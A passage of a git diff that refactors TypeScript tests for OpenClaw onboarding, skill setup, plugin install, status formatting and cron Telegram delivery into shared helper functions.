QIANFAN auth choice from --qianfan-api-key and sets default model", async () => { - await withOnboardEnv("openclaw-onboard-qianfan-infer-", async ({ configPath, runtime }) => { - await runNonInteractive( - { - nonInteractive: true, - qianfanApiKey: "qianfan-test-key", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); - - const cfg = await readJsonFile<{ - auth?: { profiles?: Record }; - agents?: { defaults?: { model?: { primary?: string } } }; - }>(configPath); + await withOnboardEnv("openclaw-onboard-qianfan-infer-", async (env) => { + const cfg = await runInferredApiKeyOnboardingAndReadConfig(env, { + qianfanApiKey: "qianfan-test-key", + }); expect(cfg.auth?.profiles?.["qianfan:default"]?.provider).toBe("qianfan"); expect(cfg.auth?.profiles?.["qianfan:default"]?.mode).toBe("api_key"); @@ -611,35 +583,8 @@ describe("onboard (non-interactive): provider auth", () => { "openclaw-onboard-custom-provider-env-fallback-", async ({ configPath, runtime }) => { process.env.CUSTOM_API_KEY = "custom-env-key"; - - await runNonInteractive( - { - nonInteractive: true, - authChoice: "custom-api-key", - customBaseUrl: "https://models.custom.local/v1", - customModelId: "local-large", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); - - const cfg = await readJsonFile<{ - models?: { - providers?: Record< - string, - { - apiKey?: string; - } - >; - }; - }>(configPath); - - expect(cfg.models?.providers?.["custom-models-custom-local"]?.apiKey).toBe( - "custom-env-key", - ); + await runCustomLocalNonInteractive(runtime); + expect(await readCustomLocalProviderApiKey(configPath)).toBe("custom-env-key"); }, ); }, 60_000); @@ -650,42 +595,15 @@ describe("onboard (non-interactive): provider auth", () => { async ({ configPath, runtime }) => { const { upsertAuthProfile } = await import("../agents/auth-profiles.js"); upsertAuthProfile({ - profileId: "custom-models-custom-local:default", + profileId: `${CUSTOM_LOCAL_PROVIDER_ID}:default`, credential: { type: "api_key", - provider: "custom-models-custom-local", + provider: CUSTOM_LOCAL_PROVIDER_ID, key: "custom-profile-key", }, }); - - await runNonInteractive( - { - nonInteractive: true, - authChoice: "custom-api-key", - customBaseUrl: "https://models.custom.local/v1", - customModelId: "local-large", - skipHealth: true, - skipChannels: true, - skipSkills: true, - json: true, - }, - runtime, - ); - - const cfg = await readJsonFile<{ - models?: { - providers?: Record< - string, - { - apiKey?: string; - } - >; - }; - }>(configPath); - - expect(cfg.models?.providers?.["custom-models-custom-local"]?.apiKey).toBe( - "custom-profile-key", - ); + await runCustomLocalNonInteractive(runtime); + expect(await readCustomLocalProviderApiKey(configPath)).toBe("custom-profile-key"); }, ); }, 60_000); diff --git a/src/commands/onboard-skills.e2e.test.ts b/src/commands/onboard-skills.e2e.test.ts index c61ce2c5a84..d7db1c05126 100644 --- a/src/commands/onboard-skills.e2e.test.ts +++ b/src/commands/onboard-skills.e2e.test.ts @@ -24,6 +24,70 @@ import { buildWorkspaceSkillStatus } from "../agents/skills-status.js"; import { detectBinary } from "./onboard-helpers.js"; import { setupSkills } from "./onboard-skills.js"; +function createBundledSkill(params: { + name: string; + description: string; + bins: string[]; + os?: string[]; + installLabel: string; +}): { + name: string; + description: string; + source: string; + bundled: boolean; + filePath: string; + baseDir: string; + skillKey: string; + always: boolean; + disabled: boolean; + blockedByAllowlist: boolean; + eligible: boolean; + requirements: { + bins: string[]; + anyBins: string[]; + env: string[]; + config: string[]; + os: string[]; + }; + missing: { bins: string[]; anyBins: string[]; env: string[]; config: string[]; os: string[] }; + configChecks: []; + install: Array<{ id: string; kind: string; label: string; bins: string[] }>; +} { + return { + name: params.name, + description: params.description, + source: "openclaw-bundled", + bundled: true, + filePath: `/tmp/skills/${params.name}`, + baseDir: `/tmp/skills/${params.name}`, + skillKey: params.name, + always: false, + disabled: false, + blockedByAllowlist: false, + eligible: false, + requirements: { bins: params.bins, anyBins: [], env: [], config: [], os: params.os ?? [] }, + missing: { bins: params.bins, anyBins: [], env: [], config: [], os: params.os ?? [] }, + configChecks: [], + install: [{ id: "brew", kind: "brew", label: params.installLabel, bins: params.bins }], + }; +} + +function mockMissingBrewStatus(skills: Array>): void { + vi.mocked(detectBinary).mockResolvedValue(false); + vi.mocked(installSkill).mockResolvedValue({ + ok: true, + message: "Installed", + stdout: "", + stderr: "", + code: 0, + }); + vi.mocked(buildWorkspaceSkillStatus).mockReturnValue({ + workspaceDir: "/tmp/ws", + managedSkillsDir: "/tmp/managed", + skills, + }); +} + function createPrompter(params: { configure?: boolean; showBrewInstall?: boolean; @@ -69,56 +133,21 @@ describe("setupSkills", () => { return; } - vi.mocked(detectBinary).mockResolvedValue(false); - vi.mocked(installSkill).mockResolvedValue({ - ok: true, - message: "Installed", - stdout: "", - stderr: "", - code: 0, - }); - vi.mocked(buildWorkspaceSkillStatus).mockReturnValue({ - workspaceDir: "/tmp/ws", - managedSkillsDir: "/tmp/managed", - skills: [ - { - name: "apple-reminders", - description: "macOS-only", - source: "openclaw-bundled", - bundled: true, - filePath: "/tmp/skills/apple-reminders", - baseDir: "/tmp/skills/apple-reminders", - skillKey: "apple-reminders", - always: false, - disabled: false, - blockedByAllowlist: false, - eligible: false, - requirements: { bins: ["remindctl"], anyBins: [], env: [], config: [], os: ["darwin"] }, - missing: { bins: ["remindctl"], anyBins: [], env: [], config: [], os: ["darwin"] }, - configChecks: [], - install: [ - { id: "brew", kind: "brew", label: "Install remindctl (brew)", bins: ["remindctl"] }, - ], - }, - { - name: "video-frames", - description: "ffmpeg", - source: "openclaw-bundled", - bundled: true, - filePath: "/tmp/skills/video-frames", - baseDir: "/tmp/skills/video-frames", - skillKey: "video-frames", - always: false, - disabled: false, - blockedByAllowlist: false, - eligible: false, - requirements: { bins: ["ffmpeg"], anyBins: [], env: [], config: [], os: [] }, - missing: { bins: ["ffmpeg"], anyBins: [], env: [], config: [], os: [] }, - configChecks: [], - install: [{ id: "brew", kind: "brew", label: "Install ffmpeg (brew)", bins: ["ffmpeg"] }], - }, - ], - }); + mockMissingBrewStatus([ + createBundledSkill({ + name: "apple-reminders", + description: "macOS-only", + bins: ["remindctl"], + os: ["darwin"], + installLabel: "Install remindctl (brew)", + }), + createBundledSkill({ + name: "video-frames", + description: "ffmpeg", + bins: ["ffmpeg"], + installLabel: "Install ffmpeg (brew)", + }), + ]); const { prompter, notes } = createPrompter({ multiselect: ["__skip__"] }); await setupSkills({} as OpenClawConfig, "/tmp/ws", runtime, prompter); @@ -136,37 +165,14 @@ describe("setupSkills", () => { return; } - vi.mocked(detectBinary).mockResolvedValue(false); - vi.mocked(installSkill).mockResolvedValue({ - ok: true, - message: "Installed", - stdout: "", - stderr: "", - code: 0, - }); - vi.mocked(buildWorkspaceSkillStatus).mockReturnValue({ - workspaceDir: "/tmp/ws", - managedSkillsDir: "/tmp/managed", - skills: [ - { - name: "video-frames", - description: "ffmpeg", - source: "openclaw-bundled", - bundled: true, - filePath: "/tmp/skills/video-frames", - baseDir: "/tmp/skills/video-frames", - skillKey: "video-frames", - always: false, - disabled: false, - blockedByAllowlist: false, - eligible: false, - requirements: { bins: ["ffmpeg"], anyBins: [], env: [], config: [], os: [] }, - missing: { bins: ["ffmpeg"], anyBins: [], env: [], config: [], os: [] }, - configChecks: [], - install: [{ id: "brew", kind: "brew", label: "Install ffmpeg (brew)", bins: ["ffmpeg"] }], - }, - ], - }); + mockMissingBrewStatus([ + createBundledSkill({ + name: "video-frames", + description: "ffmpeg", + bins: ["ffmpeg"], + installLabel: "Install ffmpeg (brew)", + }), + ]); const { prompter, notes } = createPrompter({ multiselect: ["video-frames"] }); await setupSkills({} as OpenClawConfig, "/tmp/ws", runtime, prompter); diff --git a/src/commands/onboarding/plugin-install.e2e.test.ts b/src/commands/onboarding/plugin-install.e2e.test.ts index 3bef9259b62..e198e38bddb 100644 --- a/src/commands/onboarding/plugin-install.e2e.test.ts +++ b/src/commands/onboarding/plugin-install.e2e.test.ts @@ -43,6 +43,30 @@ beforeEach(() => { vi.clearAllMocks(); }); +function mockRepoLocalPathExists() { + vi.mocked(fs.existsSync).mockImplementation((value) => { + const raw = String(value); + return raw.endsWith(`${path.sep}.git`) || raw.endsWith(`${path.sep}extensions${path.sep}zalo`); + }); +} + +async function runInitialValueForChannel(channel: "dev" | "beta") { + const runtime = makeRuntime(); + const select = vi.fn(async () => "skip") as WizardPrompter["select"]; + const prompter = makePrompter({ select }); + const cfg: OpenClawConfig = { update: { channel } }; + mockRepoLocalPathExists(); + + await ensureOnboardingPluginInstalled({ + cfg, + entry: baseEntry, + prompter, + runtime, + }); + + return select.mock.calls[0]?.[0]?.initialValue; +} + describe("ensureOnboardingPluginInstalled", () => { it("installs from npm and enables the plugin", async () => { const runtime = makeRuntime(); @@ -82,12 +106,7 @@ describe("ensureOnboardingPluginInstalled", () => { select: vi.fn(async () => "local") as WizardPrompter["select"], }); const cfg: OpenClawConfig = {}; - vi.mocked(fs.existsSync).mockImplementation((value) => { - const raw = String(value); - return ( - raw.endsWith(`${path.sep}.git`) || raw.endsWith(`${path.sep}extensions${path.sep}zalo`) - ); - }); + mockRepoLocalPathExists(); const result = await ensureOnboardingPluginInstalled({ cfg, @@ -103,49 +122,11 @@ describe("ensureOnboardingPluginInstalled", () => { }); it("defaults to local on dev channel when local path exists", async () => { - const runtime = makeRuntime(); - const select = vi.fn(async () => "skip") as WizardPrompter["select"]; - const prompter = makePrompter({ select }); - const cfg: OpenClawConfig = { update: { channel: "dev" } }; - vi.mocked(fs.existsSync).mockImplementation((value) => { - const raw = String(value); - return ( - raw.endsWith(`${path.sep}.git`) || raw.endsWith(`${path.sep}extensions${path.sep}zalo`) - ); - }); - - await ensureOnboardingPluginInstalled({ - cfg, - entry: baseEntry, - prompter, - runtime, - }); - - const firstCall = select.mock.calls[0]?.[0]; - expect(firstCall?.initialValue).toBe("local"); + expect(await runInitialValueForChannel("dev")).toBe("local"); }); it("defaults to npm on beta channel even when local path exists", async () => { - const runtime = makeRuntime(); - const select = vi.fn(async () => "skip") as WizardPrompter["select"]; - const prompter = makePrompter({ select }); - const cfg: OpenClawConfig = { update: { channel: "beta" } }; - vi.mocked(fs.existsSync).mockImplementation((value) => { - const raw = String(value); - return ( - raw.endsWith(`${path.sep}.git`) || raw.endsWith(`${path.sep}extensions${path.sep}zalo`) - ); - }); - - await ensureOnboardingPluginInstalled({ - cfg, - entry: baseEntry, - prompter, - runtime, - }); - - const firstCall = select.mock.calls[0]?.[0]; - expect(firstCall?.initialValue).toBe("npm"); + expect(await runInitialValueForChannel("beta")).toBe("npm"); }); it("falls back to local path after npm install failure", async () => { @@ -158,12 +139,7 @@ describe("ensureOnboardingPluginInstalled", () => { confirm, }); const cfg: OpenClawConfig = {}; - vi.mocked(fs.existsSync).mockImplementation((value) => { - const raw = String(value); - return ( - raw.endsWith(`${path.sep}.git`) || raw.endsWith(`${path.sep}extensions${path.sep}zalo`) - ); - }); + mockRepoLocalPathExists(); installPluginFromNpmSpec.mockResolvedValue({ ok: false, error: "nope", diff --git a/src/commands/status.format.ts b/src/commands/status.format.ts index bab43209386..87fe094b192 100644 --- a/src/commands/status.format.ts +++ b/src/commands/status.format.ts @@ -1,5 +1,6 @@ import type { SessionStatus } from "./status.types.js"; import { formatDurationPrecise } from "../infra/format-time/format-duration.ts"; +import { formatRuntimeStatusWithDetails } from "../infra/runtime-status.ts"; export const formatKTokens = (value: number) => `${(value / 1000).toFixed(value >= 10_000 ? 0 : 1)}k`; @@ -44,19 +45,17 @@ export const formatDaemonRuntimeShort = (runtime?: { if (!runtime) { return null; } - const status = runtime.status ?? "unknown"; const details: string[] = []; - if (runtime.pid) { - details.push(`pid ${runtime.pid}`); - } - if (runtime.state && runtime.state.toLowerCase() !== status) { - details.push(`state ${runtime.state}`); - } const detail = runtime.detail?.replace(/\s+/g, " ").trim() || ""; const noisyLaunchctlDetail = runtime.missingUnit === true && detail.toLowerCase().includes("could not find service"); if (detail && !noisyLaunchctlDetail) { details.push(detail); } - return details.length > 0 ? `${status} (${details.join(", ")})` : status; + return formatRuntimeStatusWithDetails({ + status: runtime.status, + pid: runtime.pid, + state: runtime.state, + details, + }); }; diff --git a/src/commands/status.summary.ts b/src/commands/status.summary.ts index d9fa242ea56..6667c12f514 100644 --- a/src/commands/status.summary.ts +++ b/src/commands/status.summary.ts @@ -10,29 +10,13 @@ import { resolveStorePath, type SessionEntry, } from "../config/sessions.js"; -import { listAgentsForGateway } from "../gateway/session-utils.js"; +import { classifySessionKey, listAgentsForGateway } from "../gateway/session-utils.js"; import { buildChannelSummary } from "../infra/channel-summary.js"; import { resolveHeartbeatSummaryForAgent } from "../infra/heartbeat-runner.js"; import { peekSystemEvents } from "../infra/system-events.js"; import { parseAgentSessionKey } from "../routing/session-key.js"; import { resolveLinkChannelContext } from "./status.link-channel.js"; -const classifyKey = (key: string, entry?: SessionEntry): SessionStatus["kind"] => { - if (key === "global") { - return "global"; - } - if (key === "unknown") { - return "unknown"; - } - if (entry?.chatType === "group" || entry?.chatType === "channel") { - return "group"; - } - if (key.includes(":group:") || key.includes(":channel:")) { - return "group"; - } - return "direct"; -}; - const buildFlags = (entry?: SessionEntry): string[] => { if (!entry) { return []; @@ -159,7 +143,7 @@ export async function getStatusSummary( return { agentId, key, - kind: classifyKey(key, entry), + kind: classifySessionKey(key, entry), sessionId: entry?.sessionId, updatedAt, age, diff --git a/src/commands/test-runtime-config-helpers.ts b/src/commands/test-runtime-config-helpers.ts new file mode 100644 index 00000000000..be5c64e1b81 --- /dev/null +++ b/src/commands/test-runtime-config-helpers.ts @@ -0,0 +1,20 @@ +import { vi } from "vitest"; + +export const baseConfigSnapshot = { + path: "/tmp/openclaw.json", + exists: true, + raw: "{}", + parsed: {}, + valid: true, + config: {}, + issues: [], + legacyIssues: [], +}; + +export function createTestRuntime() { + return { + log: vi.fn(), + error: vi.fn(), + exit: vi.fn(), + }; +} diff --git a/src/commands/test-wizard-helpers.ts b/src/commands/test-wizard-helpers.ts new file mode 100644 index 00000000000..71f85759e28 --- /dev/null +++ b/src/commands/test-wizard-helpers.ts @@ -0,0 +1,33 @@ +import { vi } from "vitest"; +import type { RuntimeEnv } from "../runtime.js"; +import type { WizardPrompter } from "../wizard/prompts.js"; + +export const noopAsync = async () => {}; +export const noop = () => {}; + +export function createExitThrowingRuntime(): RuntimeEnv { + return { + log: vi.fn(), + error: vi.fn(), + exit: vi.fn((code: number) => { + throw new Error(`exit:${code}`); + }), + }; +} + +export function createWizardPrompter( + overrides: Partial, + options?: { defaultSelect?: string }, +): WizardPrompter { + return { + intro: vi.fn(noopAsync), + outro: vi.fn(noopAsync), + note: vi.fn(noopAsync), + select: vi.fn(async () => (options?.defaultSelect ?? "") as never), + multiselect: vi.fn(async () => []), + text: vi.fn(async () => "") as unknown as WizardPrompter["text"], + confirm: vi.fn(async () => false), + progress: vi.fn(() => ({ update: noop, stop: noop })), + ...overrides, + }; +} diff --git a/src/cron/isolated-agent.delivers-response-has-heartbeat-ok-but-includes.test.ts b/src/cron/isolated-agent.delivers-response-has-heartbeat-ok-but-includes.test.ts index 3fce2eecf91..c0cf90d375f 100644 --- a/src/cron/isolated-agent.delivers-response-has-heartbeat-ok-but-includes.test.ts +++ b/src/cron/isolated-agent.delivers-response-has-heartbeat-ok-but-includes.test.ts @@ -1,12 +1,8 @@ import "./isolated-agent.mocks.js"; import { beforeEach, describe, expect, it, vi } from "vitest"; import type { CliDeps } from "../cli/deps.js"; -import { loadModelCatalog } from "../agents/model-catalog.js"; import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import { runSubagentAnnounceFlow } from "../agents/subagent-announce.js"; -import { telegramOutbound } from "../channels/plugins/outbound/telegram.js"; -import { setActivePluginRegistry } from "../plugins/runtime.js"; -import { createOutboundTestPlugin, createTestRegistry } from "../test-utils/channel-plugins.js"; import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; import { makeCfg, @@ -14,22 +10,11 @@ import { withTempCronHome, writeSessionStore, } from "./isolated-agent.test-harness.js"; +import { setupIsolatedAgentTurnMocks } from "./isolated-agent.test-setup.js"; describe("runCronIsolatedAgentTurn", () => { beforeEach(() => { - vi.stubEnv("OPENCLAW_TEST_FAST", "1"); - vi.mocked(runEmbeddedPiAgent).mockReset(); - vi.mocked(loadModelCatalog).mockResolvedValue([]); - vi.mocked(runSubagentAnnounceFlow).mockReset().mockResolvedValue(true); - setActivePluginRegistry( - createTestRegistry([ - { - pluginId: "telegram", - plugin: createOutboundTestPlugin({ id: "telegram", outbound: telegramOutbound }), - source: "test", - }, - ]), - ); + setupIsolatedAgentTurnMocks({ fast: true }); }); it("handles media heartbeat delivery and announce cleanup modes", async () => { diff --git a/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.e2e.test.ts b/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.e2e.test.ts index f88f10f301b..17966d8159e 100644 --- a/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.e2e.test.ts +++ b/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.e2e.test.ts @@ -2,12 +2,8 @@ import "./isolated-agent.mocks.js"; import fs from "node:fs/promises"; import { beforeEach, describe, expect, it, vi } from "vitest"; import type { CliDeps } from "../cli/deps.js"; -import { loadModelCatalog } from "../agents/model-catalog.js"; import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import { runSubagentAnnounceFlow } from "../agents/subagent-announce.js"; -import { telegramOutbound } from "../channels/plugins/outbound/telegram.js"; -import { setActivePluginRegistry } from "../plugins/runtime.js"; -import { createOutboundTestPlugin, createTestRegistry } from "../test-utils/channel-plugins.js"; import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; import { makeCfg, @@ -15,44 +11,78 @@ import { withTempCronHome, writeSessionStore, } from "./isolated-agent.test-harness.js"; +import { setupIsolatedAgentTurnMocks } from "./isolated-agent.test-setup.js"; + +function createCliDeps(overrides: Partial = {}): CliDeps { + return { + sendMessageWhatsApp: vi.fn(), + sendMessageTelegram: vi.fn(), + sendMessageDiscord: vi.fn(), + sendMessageSignal: vi.fn(), + sendMessageIMessage: vi.fn(), + ...overrides, + }; +} + +function mockAgentPayloads( + payloads: Array>, + extra: Partial>> = {}, +): void { + vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + payloads, + meta: { + durationMs: 5, + agentMeta: { sessionId: "s", provider: "p", model: "m" }, + }, + ...extra, + }); +} + +async function runTelegramAnnounceTurn(params: { + home: string; + storePath: string; + deps: CliDeps; + delivery: { + mode: "announce"; + channel: string; + to?: string; + bestEffort?: boolean; + }; +}): Promise>> { + return runCronIsolatedAgentTurn({ + cfg: makeCfg(params.home, params.storePath, { + channels: { telegram: { botToken: "t-1" } }, + }), + deps: params.deps, + job: { + ...makeJob({ kind: "agentTurn", message: "do it" }), + delivery: params.delivery, + }, + message: "do it", + sessionKey: "cron:job-1", + lane: "cron", + }); +} async function expectBestEffortTelegramNotDelivered( payload: Record, ): Promise { await withTempCronHome(async (home) => { const storePath = await writeSessionStore(home, { lastProvider: "webchat", lastTo: "" }); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), + const deps = createCliDeps({ sendMessageTelegram: vi.fn().mockRejectedValue(new Error("boom")), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [payload], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, }); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - channels: { telegram: { botToken: "t-1" } }, - }), + mockAgentPayloads([payload]); + const res = await runTelegramAnnounceTurn({ + home, + storePath, deps, - job: { - ...makeJob({ kind: "agentTurn", message: "do it" }), - delivery: { - mode: "announce", - channel: "telegram", - to: "123", - bestEffort: true, - }, + delivery: { + mode: "announce", + channel: "telegram", + to: "123", + bestEffort: true, }, - message: "do it", - sessionKey: "cron:job-1", - lane: "cron", }); expect(res.status).toBe("ok"); @@ -62,103 +92,47 @@ async function expectBestEffortTelegramNotDelivered( }); } +async function expectExplicitTelegramTargetDelivery(params: { + payloads: Array>; + expectedText: string; +}): Promise { + await withTempCronHome(async (home) => { + const storePath = await writeSessionStore(home, { lastProvider: "webchat", lastTo: "" }); + const deps = createCliDeps(); + mockAgentPayloads(params.payloads); + const res = await runTelegramAnnounceTurn({ + home, + storePath, + deps, + delivery: { mode: "announce", channel: "telegram", to: "123" }, + }); + + expect(res.status).toBe("ok"); + expect(res.delivered).toBe(true); + expect(runSubagentAnnounceFlow).not.toHaveBeenCalled(); + expect(deps.sendMessageTelegram).toHaveBeenCalledTimes(1); + const [to, text] = vi.mocked(deps.sendMessageTelegram).mock.calls[0] ?? []; + expect(to).toBe("123"); + expect(text).toBe(params.expectedText); + }); +} + describe("runCronIsolatedAgentTurn", () => { beforeEach(() => { - vi.mocked(runEmbeddedPiAgent).mockReset(); - vi.mocked(loadModelCatalog).mockResolvedValue([]); - vi.mocked(runSubagentAnnounceFlow).mockReset().mockResolvedValue(true); - setActivePluginRegistry( - createTestRegistry([ - { - pluginId: "telegram", - plugin: createOutboundTestPlugin({ id: "telegram", outbound: telegramOutbound }), - source: "test", - }, - ]), - ); + setupIsolatedAgentTurnMocks(); }); it("delivers directly when delivery has an explicit target", async () => { - await withTempCronHome(async (home) => { - const storePath = await writeSessionStore(home, { lastProvider: "webchat", lastTo: "" }); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), - sendMessageTelegram: vi.fn(), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "hello from cron" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - channels: { telegram: { botToken: "t-1" } }, - }), - deps, - job: { - ...makeJob({ kind: "agentTurn", message: "do it" }), - delivery: { mode: "announce", channel: "telegram", to: "123" }, - }, - message: "do it", - sessionKey: "cron:job-1", - lane: "cron", - }); - - expect(res.status).toBe("ok"); - expect(res.delivered).toBe(true); - expect(runSubagentAnnounceFlow).not.toHaveBeenCalled(); - expect(deps.sendMessageTelegram).toHaveBeenCalledTimes(1); - const [to, text] = vi.mocked(deps.sendMessageTelegram).mock.calls[0] ?? []; - expect(to).toBe("123"); - expect(text).toBe("hello from cron"); + await expectExplicitTelegramTargetDelivery({ + payloads: [{ text: "hello from cron" }], + expectedText: "hello from cron", }); }); it("delivers the final payload text when delivery has an explicit target", async () => { - await withTempCronHome(async (home) => { - const storePath = await writeSessionStore(home, { lastProvider: "webchat", lastTo: "" }); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), - sendMessageTelegram: vi.fn(), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "Working on it..." }, { text: "Final weather summary" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - channels: { telegram: { botToken: "t-1" } }, - }), - deps, - job: { - ...makeJob({ kind: "agentTurn", message: "do it" }), - delivery: { mode: "announce", channel: "telegram", to: "123" }, - }, - message: "do it", - sessionKey: "cron:job-1", - lane: "cron", - }); - - expect(res.status).toBe("ok"); - expect(res.delivered).toBe(true); - expect(runSubagentAnnounceFlow).not.toHaveBeenCalled(); - expect(deps.sendMessageTelegram).toHaveBeenCalledTimes(1); - const [to, text] = vi.mocked(deps.sendMessageTelegram).mock.calls[0] ?? []; - expect(to).toBe("123"); - expect(text).toBe("Final weather summary"); + await expectExplicitTelegramTargetDelivery({ + payloads: [{ text: "Working on it..." }, { text: "Final weather summary" }], + expectedText: "Final weather summary", }); }); @@ -182,33 +156,13 @@ describe("runCronIsolatedAgentTurn", () => { ), "utf-8", ); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), - sendMessageTelegram: vi.fn(), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "Final weather summary" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - channels: { telegram: { botToken: "t-1" } }, - }), + const deps = createCliDeps(); + mockAgentPayloads([{ text: "Final weather summary" }]); + const res = await runTelegramAnnounceTurn({ + home, + storePath, deps, - job: { - ...makeJob({ kind: "agentTurn", message: "do it" }), - delivery: { mode: "announce", channel: "last" }, - }, - message: "do it", - sessionKey: "cron:job-1", - lane: "cron", + delivery: { mode: "announce", channel: "last" }, }); expect(res.status).toBe("ok"); @@ -225,35 +179,17 @@ describe("runCronIsolatedAgentTurn", () => { it("skips announce when messaging tool already sent to target", async () => { await withTempCronHome(async (home) => { const storePath = await writeSessionStore(home, { lastProvider: "webchat", lastTo: "" }); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), - sendMessageTelegram: vi.fn(), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "sent" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, + const deps = createCliDeps(); + mockAgentPayloads([{ text: "sent" }], { didSendViaMessagingTool: true, messagingToolSentTargets: [{ tool: "message", provider: "telegram", to: "123" }], }); - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - channels: { telegram: { botToken: "t-1" } }, - }), + const res = await runTelegramAnnounceTurn({ + home, + storePath, deps, - job: { - ...makeJob({ kind: "agentTurn", message: "do it" }), - delivery: { mode: "announce", channel: "telegram", to: "123" }, - }, - message: "do it", - sessionKey: "cron:job-1", - lane: "cron", + delivery: { mode: "announce", channel: "telegram", to: "123" }, }); expect(res.status).toBe("ok"); @@ -273,33 +209,13 @@ describe("runCronIsolatedAgentTurn", () => { it("skips announce for heartbeat-only output", async () => { await withTempCronHome(async (home) => { const storePath = await writeSessionStore(home, { lastProvider: "webchat", lastTo: "" }); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), - sendMessageTelegram: vi.fn(), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "HEARTBEAT_OK" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, - }); - - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - channels: { telegram: { botToken: "t-1" } }, - }), + const deps = createCliDeps(); + mockAgentPayloads([{ text: "HEARTBEAT_OK" }]); + const res = await runTelegramAnnounceTurn({ + home, + storePath, deps, - job: { - ...makeJob({ kind: "agentTurn", message: "do it" }), - delivery: { mode: "announce", channel: "telegram", to: "123" }, - }, - message: "do it", - sessionKey: "cron:job-1", - lane: "cron", + delivery: { mode: "announce", channel: "telegram", to: "123" }, }); expect(res.status).toBe("ok"); @@ -311,32 +227,15 @@ describe("runCronIsolatedAgentTurn", () => { it("fails when direct delivery fails and best-effort is disabled", async () => { await withTempCronHome(async (home) => { const storePath = await writeSessionStore(home, { lastProvider: "webchat", lastTo: "" }); - const deps: CliDeps = { - sendMessageWhatsApp: vi.fn(), + const deps = createCliDeps({ sendMessageTelegram: vi.fn().mockRejectedValue(new Error("boom")), - sendMessageDiscord: vi.fn(), - sendMessageSignal: vi.fn(), - sendMessageIMessage: vi.fn(), - }; - vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ - payloads: [{ text: "hello from cron" }], - meta: { - durationMs: 5, - agentMeta: { sessionId: "s", provider: "p", model: "m" }, - }, }); - const res = await runCronIsolatedAgentTurn({ - cfg: makeCfg(home, storePath, { - channels: { telegram: { botToken: "t-1" } }, - }), + mockAgentPayloads([{ text: "hello from cron" }]); + const res = await runTelegramAnnounceTurn({ + home, + storePath, deps, - job: { - ...makeJob({ kind: "agentTurn", message: "do it" }), - delivery: { mode: "announce", channel: "telegram", to: "123" }, - }, - message: "do it", - sessionKey: "cron:job-1", - lane: "cron", + delivery: { mode: "announce", channel: "telegram", to: "123" }, }); expect(res.status).toBe("error"); diff --git a/src/cron/isolated-agent.test-setup.ts b/src/cron/isolated-agent.test-setup.ts new file mode 100644 index 00000000000..151b37dd1d3 --- /dev/null +++ b/src/cron/isolated-agent.test-setup.ts @@ -0,0 +1,25 @@ +import { vi } from "vitest"; +import { loadModelCatalog } from "../agents/model-catalog.js"; +import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; +import { runSubagentAnnounceFlow } from "../agents/subagent-announce.js"; +import { telegramOutbound } from "../channels/plugins/outbound/telegram.js"; +import { setActivePluginRegistry } from "../plugins/runtime.js"; +import { createOutboundTestPlugin, createTestRegistry } from "../test-utils/channel-plugins.js"; + +export function setupIsolatedAgentTurnMocks(params?: { fast?: boolean }): void { + if (params?.fast) { + vi.stubEnv("OPENCLAW_TEST_FAST", "1"); + } + vi.mocked(runEmbeddedPiAgent).mockReset(); + vi.mocked(loadModelCatalog).mockResolvedValue([]); + vi.mocked(runSubagentAnnounceFlow).mockReset().mockResolvedValue(true); + setActivePluginRegistry( + createTestRegistry([ + { + pluginId: "telegram", + plugin: 